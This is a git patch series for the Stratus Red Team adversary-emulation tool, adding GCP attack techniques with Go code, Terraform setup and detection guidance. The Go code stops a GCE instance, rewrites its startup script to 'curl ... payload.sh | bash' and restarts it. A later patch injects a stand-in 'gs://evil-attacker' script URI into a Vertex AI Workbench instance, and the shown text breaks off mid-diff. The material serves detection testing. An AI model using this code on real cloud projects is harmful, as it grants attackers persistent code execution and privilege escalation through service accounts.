From bcdc4cff164b3951678cfb2c132505850430d760 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Thu, 26 Mar 2026 14:59:54 +0100 Subject: [PATCH 1/6] New attack technique: Modify a GCE Instance Startup Script (gcp.execution.modify-gce-startup-script) Co-Authored-By: Claude Sonnet 4.6 --- ...gcp.execution.modify-gce-startup-script.md | 66 +++++ .../modify-gce-startup-script/main.go | 234 ++++++++++++++++++ .../modify-gce-startup-script/main.tf | 69 ++++++ v2/internal/attacktechniques/main.go | 1 + 4 files changed, 370 insertions(+) create mode 100755 docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md create mode 100644 v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go create mode 100644 v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md new file mode 100755 index 000000000..b05e93a8b --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md @@ -0,0 +1,66 @@ +--- +title: Modify a GCE Instance Startup Script +--- + +# Modify a GCE Instance Startup Script + + slow + idempotent + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Execution + - Privilege Escalation + + + +## Description + + +Modifies the startup script of a stopped GCE instance to execute an attacker-controlled +payload on the next boot. An attacker with compute.instances.setMetadata +permission can use this technique to achieve persistent code execution and privilege +escalation through the instance's service account, without needing direct access to +the instance. + +Warm-up: + +- Create a GCE instance (e2-micro, us-central1-a) with a benign startup script + +Detonation: + +- Stop the GCE instance and wait for it to reach TERMINATED state +- Replace the startup-script metadata value with a command that fetches + and executes a remote payload +- Restart the instance + +Revert: + +- Stop the instance +- Restore the original startup-script metadata value +- Restart the instance + +References: + +- https://cloud.google.com/compute/docs/instances/startup-scripts/linux +- https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.execution.modify-gce-startup-script +``` +## Detection + + +Identify when a GCE instance's startup script is modified by monitoring for +v1.compute.instances.setMetadata events in GCP Admin Activity audit logs +where the metadata.items field contains a startup-script key +that points to an external URL or contains suspicious commands. Correlate with +preceding v1.compute.instances.stop events on the same instance. + + diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go new file mode 100644 index 000000000..fcb1a38ab --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go @@ -0,0 +1,234 @@ +package gcp + +import ( + "context" + _ "embed" + "fmt" + "log" + "time" + + compute "cloud.google.com/go/compute/apiv1" + "cloud.google.com/go/compute/apiv1/computepb" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" +) + +//go:embed main.tf +var tf []byte + +const ( + legitimateStartupScript = "#!/bin/bash\necho 'Legitimate startup script'" + maliciousStartupScript = "#!/bin/bash\ncurl -s https://stratus-red-team.cloud/payload.sh | bash" +) + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.execution.modify-gce-startup-script", + FriendlyName: "Modify a GCE Instance Startup Script", + Description: ` +Modifies the startup script of a stopped GCE instance to execute an attacker-controlled +payload on the next boot. An attacker with compute.instances.setMetadata +permission can use this technique to achieve persistent code execution and privilege +escalation through the instance's service account, without needing direct access to +the instance. + +Warm-up: + +- Create a GCE instance (e2-micro, us-central1-a) with a benign startup script + +Detonation: + +- Stop the GCE instance and wait for it to reach TERMINATED state +- Replace the startup-script metadata value with a command that fetches + and executes a remote payload +- Restart the instance + +Revert: + +- Stop the instance +- Restore the original startup-script metadata value +- Restart the instance + +References: + +- https://cloud.google.com/compute/docs/instances/startup-scripts/linux +- https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata +`, + Detection: ` +Identify when a GCE instance's startup script is modified by monitoring for +v1.compute.instances.setMetadata events in GCP Admin Activity audit logs +where the metadata.items field contains a startup-script key +that points to an external URL or contains suspicious commands. Correlate with +preceding v1.compute.instances.stop events on the same instance. +`, + Platform: stratus.GCP, + IsIdempotent: true, + IsSlow: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func newInstancesClient(ctx context.Context, providers stratus.CloudProviders) (*compute.InstancesClient, error) { + client, err := compute.NewInstancesRESTClient(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create Compute instances client: %w", err) + } + return client, nil +} + +// waitForInstanceStatus polls until the instance reaches the desired status. +func waitForInstanceStatus( + ctx context.Context, + client *compute.InstancesClient, + projectId, zone, instanceName, desiredStatus string, +) error { + const maxAttempts = 60 + const pollInterval = 10 * time.Second + + for attempt := 0; attempt < maxAttempts; attempt++ { + instance, err := client.Get(ctx, &computepb.GetInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to get instance %s status: %w", instanceName, err) + } + if instance.GetStatus() == desiredStatus { + return nil + } + log.Printf("Waiting for instance %s to reach %s (current: %s, attempt %d/%d)\n", + instanceName, desiredStatus, instance.GetStatus(), attempt+1, maxAttempts) + time.Sleep(pollInterval) + } + return fmt.Errorf("instance %s did not reach status %s after %d attempts", instanceName, desiredStatus, maxAttempts) +} + +// setStartupScript stops the instance, replaces its startup-script metadata, +// then starts it again. +func setStartupScript( + ctx context.Context, + client *compute.InstancesClient, + projectId, zone, instanceName, script string, +) error { + log.Printf("Stopping instance %s\n", instanceName) + stopOp, err := client.Stop(ctx, &computepb.StopInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to stop instance %s: %w", instanceName, err) + } + + if err = stopOp.Wait(ctx); err != nil { + return fmt.Errorf("failed waiting for instance %s to stop: %w", instanceName, err) + } + + // The operation completing does not guarantee the instance is TERMINATED — + // poll until the status is confirmed before calling SetMetadata. + if err = waitForInstanceStatus(ctx, client, projectId, zone, instanceName, "TERMINATED"); err != nil { + return err + } + + // Fetch the current metadata fingerprint; SetMetadata requires it to + // prevent lost-update races. + instance, err := client.Get(ctx, &computepb.GetInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to get instance %s metadata: %w", instanceName, err) + } + + log.Printf("Setting startup-script on instance %s\n", instanceName) + setMetaOp, err := client.SetMetadata(ctx, &computepb.SetMetadataInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + MetadataResource: &computepb.Metadata{ + Fingerprint: instance.GetMetadata().Fingerprint, + Items: []*computepb.Items{ + { + Key: ptr("startup-script"), + Value: ptr(script), + }, + }, + }, + }) + if err != nil { + return fmt.Errorf("failed to set metadata on instance %s: %w", instanceName, err) + } + + if err = setMetaOp.Wait(ctx); err != nil { + return fmt.Errorf("failed waiting for SetMetadata on instance %s: %w", instanceName, err) + } + + log.Printf("Starting instance %s\n", instanceName) + startOp, err := client.Start(ctx, &computepb.StartInstanceRequest{ + Project: projectId, + Zone: zone, + Instance: instanceName, + }) + if err != nil { + return fmt.Errorf("failed to start instance %s: %w", instanceName, err) + } + + if err = startOp.Wait(ctx); err != nil { + return fmt.Errorf("failed waiting for instance %s to start: %w", instanceName, err) + } + + return nil +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + zone := params["zone"] + ctx := context.Background() + + client, err := newInstancesClient(ctx, providers) + if err != nil { + return err + } + defer client.Close() + + log.Printf("Replacing startup script on GCE instance %s with a remote payload fetcher\n", instanceName) + if err = setStartupScript(ctx, client, projectId, zone, instanceName, maliciousStartupScript); err != nil { + return err + } + + log.Printf("Successfully replaced startup script on instance %s — malicious payload will execute on next boot\n", instanceName) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + zone := params["zone"] + ctx := context.Background() + + client, err := newInstancesClient(ctx, providers) + if err != nil { + return err + } + defer client.Close() + + log.Printf("Restoring original startup script on GCE instance %s\n", instanceName) + if err = setStartupScript(ctx, client, projectId, zone, instanceName, legitimateStartupScript); err != nil { + return err + } + + log.Printf("Successfully restored original startup script on instance %s\n", instanceName) + return nil +} + +func ptr[T any](v T) *T { + return &v +} diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf new file mode 100644 index 000000000..9bb4474c1 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf @@ -0,0 +1,69 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-mgss" # modify gce startup script +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_service_account" "instance_sa" { + account_id = "${local.resource_prefix}-${random_string.suffix.result}" + display_name = "Stratus Red Team - Modify GCE Startup Script" +} + +resource "google_compute_network" "vpc" { + name = "${local.resource_prefix}-vpc-${random_string.suffix.result}" + auto_create_subnetworks = true +} + +resource "google_compute_instance" "instance" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + machine_type = "e2-micro" + zone = "us-central1-a" + + boot_disk { + initialize_params { + image = "debian-cloud/debian-11" + } + } + + network_interface { + network = google_compute_network.vpc.self_link + } + + metadata = { + startup-script = "#!/bin/bash\necho 'Legitimate startup script'" + } + + service_account { + email = google_service_account.instance_sa.email + scopes = ["cloud-platform"] + } +} + +output "instance_name" { + value = google_compute_instance.instance.name +} + +output "zone" { + value = google_compute_instance.instance.zone +} + +output "display" { + value = format("GCE instance %s in zone %s", google_compute_instance.instance.name, google_compute_instance.instance.zone) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index c93da6143..b8b5d05fb 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -74,6 +74,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/defense-evasion/remove-vpc-flow-logs" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot" From 085b7e09d9635b80ccdabe0232e8ef79cd7d775d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Mon, 30 Mar 2026 14:42:46 +0200 Subject: [PATCH 2/6] Add external references for technique documentation Co-Authored-By: Claude Opus 4.6 (1M context) --- .../gcp/execution/modify-gce-startup-script/main.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go index fcb1a38ab..02be9f75b 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go @@ -53,6 +53,9 @@ References: - https://cloud.google.com/compute/docs/instances/startup-scripts/linux - https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ +- https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc +- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/ `, Detection: ` Identify when a GCE instance's startup script is modified by monitoring for From aa1fc8ba2d8d21b2a8f5e006670223829377f342 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Wed, 1 Apr 2026 10:41:43 +0200 Subject: [PATCH 3/6] Address PR feedback: remove HackTricks refs, regenerate docs Co-Authored-By: Claude Opus 4.6 (1M context) --- .../gcp.execution.modify-gce-startup-script.md | 2 ++ docs/attack-techniques/GCP/index.md | 7 +++++++ docs/attack-techniques/list.md | 1 + .../mitre-attack-coverage-matrices.md | 16 ++++++++-------- docs/index.yaml | 17 +++++++++++++++++ .../execution/modify-gce-startup-script/main.go | 1 - 6 files changed, 35 insertions(+), 9 deletions(-) diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md index b05e93a8b..24e1cbc1f 100755 --- a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md +++ b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md @@ -47,6 +47,8 @@ References: - https://cloud.google.com/compute/docs/instances/startup-scripts/linux - https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata +- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ +- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/ ## Instructions diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index bba57f11e..e27caff02 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -9,6 +9,11 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Steal and Use the GCE Default Service Account Token from Outside Google Cloud](./gcp.initial-access.use-compute-sa-outside-gcp.md) +## Execution + + - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md) + + ## Persistence - [Register SSH public key to instance metadata](./gcp.lateral-movement.add-sshkey-instance-metadata.md) @@ -24,6 +29,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT ## Privilege Escalation + - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md) + - [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md) - [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 3f323b0f6..eeabd9d19 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -79,6 +79,7 @@ This page contains the list of all Stratus Attack Techniques. | [Disable VPC Flow Logs on a Subnet](./GCP/gcp.defense-evasion.remove-vpc-flow-logs.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Read GCE Instance Metadata via the Compute API](./GCP/gcp.discovery.download-instance-metadata.md) | [GCP](./GCP/index.md) | Discovery | | [Enumerate Permissions of a GCP Service Account](./GCP/gcp.discovery.enumerate-permissions.md) | [GCP](./GCP/index.md) | Discovery | +| [Modify a GCE Instance Startup Script](./GCP/gcp.execution.modify-gce-startup-script.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation | | [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Image by sharing it](./GCP/gcp.exfiltration.share-compute-image.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Disk by sharing a snapshot](./GCP/gcp.exfiltration.share-compute-snapshot.md) | [GCP](./GCP/index.md) | Exfiltration | diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index e62efe97a..ba4217835 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -53,15 +53,15 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently

GCP

- + - - - - - - - + + + + + + +
Initial AccessPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpact
Steal and Use the GCE Default Service Account Token from Outside Google CloudRegister SSH public key to instance metadataCreate an Admin GCP Service AccountDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate a GCP Service Account KeyDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountImpersonate GCP Service AccountsAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot
Create a GCP Service Account KeyDisable VPC Flow Logs on a Subnet
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
Steal and Use the GCE Default Service Account Token from Outside Google CloudModify a GCE Instance Startup ScriptRegister SSH public key to instance metadataModify a GCE Instance Startup ScriptDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataExfiltrate Compute Disk by sharing itCreate a GCE GPU Virtual Machine
Backdoor a GCP Service Account through its IAM PolicyCreate an Admin GCP Service AccountDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Image by sharing itCreate GCE Instances in Multiple Zones
Create an Admin GCP Service AccountCreate a GCP Service Account KeyAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Disk by sharing a snapshot
Create a GCP Service Account KeyImpersonate GCP Service AccountsDisable VPC Flow Logs on a Subnet
Invite an External User to a GCP ProjectDelete a GCP Log Sink
Disable a GCP Log Sink
Reduce Log Retention Period on a Cloud Logging Sink Bucket
diff --git a/docs/index.yaml b/docs/index.yaml index 37a390d57..86eb701da 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -617,6 +617,15 @@ GCP: - Discovery platform: GCP isIdempotent: true + Execution: + - id: gcp.execution.modify-gce-startup-script + name: Modify a GCE Instance Startup Script + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: true Exfiltration: - id: gcp.exfiltration.share-compute-disk name: Exfiltrate Compute Disk by sharing it @@ -712,6 +721,14 @@ GCP: platform: GCP isIdempotent: true Privilege Escalation: + - id: gcp.execution.modify-gce-startup-script + name: Modify a GCE Instance Startup Script + isSlow: true + mitreAttackTactics: + - Execution + - Privilege Escalation + platform: GCP + isIdempotent: true - id: gcp.persistence.create-admin-service-account name: Create an Admin GCP Service Account isSlow: false diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go index 02be9f75b..78770f1c0 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go @@ -54,7 +54,6 @@ References: - https://cloud.google.com/compute/docs/instances/startup-scripts/linux - https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata - https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ -- https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc - https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/ `, Detection: ` From 4e0e2ff237c4324001d1379691353dbe073a251c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Mon, 13 Apr 2026 11:50:33 +0200 Subject: [PATCH 4/6] Fix description: attack stops the instance itself, Remove revert step and make attack non-idempotent --- ...gcp.execution.modify-gce-startup-script.md | 17 ++-- docs/index.yaml | 4 +- .../modify-gce-startup-script/main.go | 88 +++++-------------- 3 files changed, 29 insertions(+), 80 deletions(-) diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md index 24e1cbc1f..86087c147 100755 --- a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md +++ b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md @@ -5,7 +5,7 @@ title: Modify a GCE Instance Startup Script # Modify a GCE Instance Startup Script slow - idempotent + Platform: GCP @@ -20,11 +20,10 @@ Platform: GCP ## Description -Modifies the startup script of a stopped GCE instance to execute an attacker-controlled -payload on the next boot. An attacker with compute.instances.setMetadata -permission can use this technique to achieve persistent code execution and privilege -escalation through the instance's service account, without needing direct access to -the instance. +Stops a GCE instance, modifies its startup script to execute an attacker-controlled payload on the +next boot, and restarts it. An attacker with compute.instances.setMetadata permission +can use this technique to achieve persistent code execution and privilege escalation through the +instance's service account, without needing direct access to the instance. Warm-up: @@ -37,12 +36,6 @@ the instance. and executes a remote payload - Restart the instance -Revert: - -- Stop the instance -- Restore the original startup-script metadata value -- Restart the instance - References: - https://cloud.google.com/compute/docs/instances/startup-scripts/linux diff --git a/docs/index.yaml b/docs/index.yaml index 86eb701da..2e363df7e 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -625,7 +625,7 @@ GCP: - Execution - Privilege Escalation platform: GCP - isIdempotent: true + isIdempotent: false Exfiltration: - id: gcp.exfiltration.share-compute-disk name: Exfiltrate Compute Disk by sharing it @@ -728,7 +728,7 @@ GCP: - Execution - Privilege Escalation platform: GCP - isIdempotent: true + isIdempotent: false - id: gcp.persistence.create-admin-service-account name: Create an Admin GCP Service Account isSlow: false diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go index 78770f1c0..a88bf1391 100644 --- a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go +++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.go @@ -17,8 +17,7 @@ import ( var tf []byte const ( - legitimateStartupScript = "#!/bin/bash\necho 'Legitimate startup script'" - maliciousStartupScript = "#!/bin/bash\ncurl -s https://stratus-red-team.cloud/payload.sh | bash" + maliciousStartupScript = "#!/bin/bash\ncurl -s https://stratus-red-team.cloud/payload.sh | bash" ) func init() { @@ -26,11 +25,10 @@ func init() { ID: "gcp.execution.modify-gce-startup-script", FriendlyName: "Modify a GCE Instance Startup Script", Description: ` -Modifies the startup script of a stopped GCE instance to execute an attacker-controlled -payload on the next boot. An attacker with compute.instances.setMetadata -permission can use this technique to achieve persistent code execution and privilege -escalation through the instance's service account, without needing direct access to -the instance. +Stops a GCE instance, modifies its startup script to execute an attacker-controlled payload on the +next boot, and restarts it. An attacker with compute.instances.setMetadata permission +can use this technique to achieve persistent code execution and privilege escalation through the +instance's service account, without needing direct access to the instance. Warm-up: @@ -43,12 +41,6 @@ Detonation: and executes a remote payload - Restart the instance -Revert: - -- Stop the instance -- Restore the original startup-script metadata value -- Restart the instance - References: - https://cloud.google.com/compute/docs/instances/startup-scripts/linux @@ -64,12 +56,11 @@ that points to an external URL or contains suspicious commands. Correlate with preceding v1.compute.instances.stop events on the same instance. `, Platform: stratus.GCP, - IsIdempotent: true, + IsIdempotent: false, IsSlow: true, MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation}, PrerequisitesTerraformCode: tf, Detonate: detonate, - Revert: revert, }) } @@ -109,13 +100,21 @@ func waitForInstanceStatus( return fmt.Errorf("instance %s did not reach status %s after %d attempts", instanceName, desiredStatus, maxAttempts) } -// setStartupScript stops the instance, replaces its startup-script metadata, -// then starts it again. -func setStartupScript( - ctx context.Context, - client *compute.InstancesClient, - projectId, zone, instanceName, script string, -) error { +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + projectId := gcp.GetProjectId() + instanceName := params["instance_name"] + zone := params["zone"] + ctx := context.Background() + + client, err := newInstancesClient(ctx, providers) + if err != nil { + return err + } + defer client.Close() + + log.Printf("Replacing startup script on GCE instance %s with a remote payload fetcher\n", instanceName) + log.Printf("Stopping instance %s\n", instanceName) stopOp, err := client.Stop(ctx, &computepb.StopInstanceRequest{ Project: projectId, @@ -157,7 +156,7 @@ func setStartupScript( Items: []*computepb.Items{ { Key: ptr("startup-script"), - Value: ptr(script), + Value: ptr(maliciousStartupScript), }, }, }, @@ -184,53 +183,10 @@ func setStartupScript( return fmt.Errorf("failed waiting for instance %s to start: %w", instanceName, err) } - return nil -} - -func detonate(params map[string]string, providers stratus.CloudProviders) error { - gcp := providers.GCP() - projectId := gcp.GetProjectId() - instanceName := params["instance_name"] - zone := params["zone"] - ctx := context.Background() - - client, err := newInstancesClient(ctx, providers) - if err != nil { - return err - } - defer client.Close() - - log.Printf("Replacing startup script on GCE instance %s with a remote payload fetcher\n", instanceName) - if err = setStartupScript(ctx, client, projectId, zone, instanceName, maliciousStartupScript); err != nil { - return err - } - log.Printf("Successfully replaced startup script on instance %s — malicious payload will execute on next boot\n", instanceName) return nil } -func revert(params map[string]string, providers stratus.CloudProviders) error { - gcp := providers.GCP() - projectId := gcp.GetProjectId() - instanceName := params["instance_name"] - zone := params["zone"] - ctx := context.Background() - - client, err := newInstancesClient(ctx, providers) - if err != nil { - return err - } - defer client.Close() - - log.Printf("Restoring original startup script on GCE instance %s\n", instanceName) - if err = setStartupScript(ctx, client, projectId, zone, instanceName, legitimateStartupScript); err != nil { - return err - } - - log.Printf("Successfully restored original startup script on instance %s\n", instanceName) - return nil -} - func ptr[T any](v T) *T { return &v } From 48033d345d848226d28399bfd2c427cfb106620b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= <66471981+Minosity-VR@users.noreply.github.com> Date: Thu, 30 Apr 2026 14:28:22 +0200 Subject: [PATCH 5/6] New attack technique: Inject a Malicious Startup Script into a Vertex AI Workbench Instance (gcp.execution.modify-vertex-notebook-startup) (#798) --- ...xecution.modify-vertex-notebook-startup.md | 69 +++++++ docs/attack-techniques/GCP/index.md | 4 + docs/attack-techniques/list.md | 1 + .../mitre-attack-coverage-matrices.md | 4 +- docs/index.yaml | 16 ++ .../modify-vertex-notebook-startup/main.go | 194 ++++++++++++++++++ .../modify-vertex-notebook-startup/main.tf | 56 +++++ v2/internal/attacktechniques/main.go | 1 + 8 files changed, 343 insertions(+), 2 deletions(-) create mode 100755 docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md create mode 100644 v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go create mode 100644 v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md new file mode 100755 index 000000000..9f8179397 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md @@ -0,0 +1,69 @@ +--- +title: Inject a Malicious Startup Script into a Vertex AI Workbench Instance +--- + +# Inject a Malicious Startup Script into a Vertex AI Workbench Instance + + slow + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Execution + - Privilege Escalation + + + +## Description + + +Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a +remote script on the next start by injecting a malicious URL into the instance's +post-startup-script metadata field. An attacker with +notebooks.instances.update permission can use this technique to +achieve persistent code execution inside the notebook environment, run under +the instance's service account identity. + +Warm-up: + +- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a) + +Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page. + +Detonation: + +- Patch the Workbench instance's GCE setup metadata to set + post-startup-script to a fictitious attacker-controlled GCS URI + (gs://evil-attacker-<project-id>-<random>/malicious.sh) + +Revert: + +- Remove the post-startup-script metadata key from the instance + +References: + +- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction +- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch +- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/ +- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.execution.modify-vertex-notebook-startup +``` +## Detection + + +Identify when a Vertex AI Workbench instance's metadata is modified by monitoring +for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in +GCP Admin Activity audit logs. Alert when the post-startup-script or +startup-script metadata fields are added or changed to external URLs, +which may indicate an attempt to establish persistent code execution in the notebook +environment. + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index e27caff02..195bca875 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -13,6 +13,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md) + - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md) + ## Persistence @@ -37,6 +39,8 